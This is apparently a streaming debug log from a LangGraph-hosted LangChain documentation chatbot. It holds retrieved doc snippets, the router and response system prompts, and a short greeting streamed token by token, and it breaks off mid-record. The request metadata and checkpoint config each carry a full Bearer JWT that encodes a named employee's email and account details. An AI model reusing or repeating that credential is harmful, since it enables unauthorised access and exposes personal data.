store and retrieve data.","source":"https://js.langchain.com/docs/integrations/stores/","loc":"https://js.langchain.com/docs/integrations/stores/","lastmod":null,"uuid":"9f977d9f-3409-5b08-9027-cbe6ddad89cc"},"page_content":"Key-value stores | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Key-value stores | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Overview","source":"https://js.langchain.com/docs/concepts/key_value_stores","loc":"https://js.langchain.com/docs/concepts/key_value_stores","lastmod":null,"uuid":"187ab437-b454-5862-95a3-8c9e503f0308"},"page_content":"Key-value stores | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Why LangChain? | 🦜️🔗 Langchain","changefreq":"weekly","description":"The goal of the langchain package and LangChain the company is to make it as easy possible for developers to build applications that reason.","priority":"0.5","source":"https://js.langchain.com/docs/concepts/why_langchain","loc":"https://js.langchain.com/docs/concepts/why_langchain","lastmod":null,"uuid":"071032fb-45e5-56c5-be05-c44a9dcde806"},"page_content":"Why LangChain? | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Docusaurus | 🦜️🔗 LangChain","changefreq":"weekly","description":"Docusaurus is a static-site generator which provides out-of-the-box documentation features.","priority":"0.5","source":"https://python.langchain.com/docs/integrations/document_loaders/docusaurus/","lastmod":null,"loc":"https://python.langchain.com/docs/integrations/document_loaders/docusaurus/","uuid":"8ca8dfbc-51cb-5b5a-9870-a1203e464dfc"},"page_content":"of knowledge or computation. This can include Python REPLs, embeddings, search engines, and more. LangChain provides a large collection of common utils to use in your application.\\\\nChains: Chains go beyond just a single LLM call, and are sequences of calls (whether to an LLM or a different utility). LangChain provides a standard interface for chains, lots of integrations with other tools, and end-to-end chains for common applications.\\\\nIndexes: Language models are often more powerful when combined with your own text data - this module covers best practices for doing exactly that.\\\\nAgents: Agents involve an LLM making decisions about which Actions to take, taking that Action, seeing an Observation, and repeating that until done. LangChain provides a standard interface for agents, a selection of agents to choose from, and examples of end to end agents.\\\\nMemory: Memory is the concept of persisting state between calls of a chain/agent. LangChain provides a standard interface for memory, a collection of memory implementations, and examples of chains/agents that use memory.\\\\nChat: Chat models are a variation on Language Models that expose a different API - rather than working with raw text, they work with messages. LangChain provides a standard interface for working with them and doing all the same things as above.\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nUse Cases#\\\\nThe above modules can be used in a variety of ways. LangChain also provides guidance and assistance in this. Below are some of the common use cases LangChain supports.\\\\n\\\\nAgents: Agents are systems that use a language model to interact with other tools. These can be used to do more grounded question/answering, interact with APIs, or even take actions.\\\\nChatbots: Since language models are good at producing text, that makes them ideal for creating chatbots.\\\\nData Augmented Generation: Data Augmented Generation involves specific types of chains that first interact with an external datasource to fetch data to use in the generation step. Examples of this include summarization of long pieces of text and question/answering over specific data sources.\\\\nQuestion Answering: Answering questions over specific documents, only utilizing the information in those documents to construct an answer. A type of Data Augmented Generation.\\\\nSummarization: Summarizing longer documents into shorter, more condensed chunks of information. A type of Data Augmented Generation.\\\\nQuerying Tabular Data: If you want to understand how to use LLMs to query data that is stored in a tabular format (csvs, SQL, dataframes, etc) you should read this page.\\\\nEvaluation: Generative models are notoriously hard to evaluate with traditional metrics. One new way of evaluating them is using language models themselves to do the evaluation. LangChain provides some prompts/chains for assisting in this.\\\\nGenerate similar examples: Generating similar examples to a given input. This is a common use case for many applications, and LangChain provides some prompts/chains for assisting in this.\\\\nCompare models: Experimenting with different prompts, models, and chains is a big part of developing the best possible application. The ModelLaboratory makes it easy to do so.\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nReference Docs#\\\\nAll of LangChain’s reference documentation, in one place. Full documentation on all methods, classes, installation methods, and integration setups for LangChain.\\\\n\\\\nReference Documentation\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nLangChain Ecosystem#\\\\nGuides for how other companies/products can be used with LangChain\\\\n\\\\nLangChain Ecosystem\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nAdditional Resources#\\\\nAdditional collection of resources we think may be useful as you develop your application!\\\\n\\\\nLangChainHub: The LangChainHub is a place to share and explore other prompts, chains, and agents.\\\\nGlossary: A glossary of all related terms, papers, methods, etc. Whether implemented in LangChain or not!\\\\nGallery: A collection of our favorite projects that use LangChain. Useful for","type":"Document"}],"answer":"","query":"hi"},"triggers":["branch:to:respond"]}} + +: heartbeat + +event: messages/metadata +data: {"run--824c9553-e992-40d0-a7a4-1396c088a28c":{"metadata":{"created_by":"system","from_studio":true,"assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","LANGGRAPH_API_URL":"https://chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","run_attempt":1,"langgraph_version":"0.6.6","langgraph_api_version":"0.4.3","langgraph_plan":"enterprise","langgraph_host":"saas","langgraph_api_url":null,"k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","langgraph_step":3,"langgraph_node":"respond","langgraph_triggers":["branch:to:respond"],"langgraph_path":["__pregel_pull","respond"],"langgraph_checkpoint_ns":"respond:cf0e5add-0960-fbe6-51c9-ead46a930daf","checkpoint_ns":"respond:cf0e5add-0960-fbe6-51c9-ead46a930daf","ls_provider":"anthropic","ls_model_name":"claude-3-5-haiku-20241022","ls_model_type":"chat","ls_temperature":0.0,"ls_max_tokens":1024}}} + +event: messages/partial +data: [{"content":"","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello!","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you might have about Lang","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific you'd like to","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific you'd like to know about this","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific you'd like to know about this framework","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific you'd like to know about this framework for","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific you'd like to know about this framework for developing","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific you'd like to know about this framework for developing applications","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific you'd like to know about this framework for developing applications powere","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific you'd like to know about this framework for developing applications powered by large","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific you'd like to know about this framework for developing applications powered by large language models?","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific you'd like to know about this framework for developing applications powered by large language models?","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022","stop_reason":"end_turn","stop_sequence":null},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":{"input_tokens":3003,"output_tokens":44,"total_tokens":3047,"input_token_details":{"cache_creation":0,"cache_read":0}}}] + +event: debug +data: {"step":3,"timestamp":"2025-09-15T19:27:00.359325+00:00","type":"task_result","payload":{"id":"cf0e5add-0960-fbe6-51c9-ead46a930daf","name":"respond","error":null,"result":[["messages",[{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific you'd like to know about this framework for developing applications powered by large language models?","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022","stop_reason":"end_turn","stop_sequence":null},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":{"input_tokens":3003,"output_tokens":44,"total_tokens":3047,"input_token_details":{"cache_creation":0,"cache_read":0}}}]],["answer","Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific you'd like to know about this framework for developing applications powered by large language models?"]],"interrupts":[]}} + +event: debug +data: {"step":3,"timestamp":"2025-09-15T19:27:00.363054+00:00","type":"checkpoint","payload":{"config":{"configurable":{"checkpoint_ns":"","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_id":"1f09269f-38a3-68bf-8003-0693e2e87d63"}},"parent_config":{"configurable":{"checkpoint_ns":"","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, 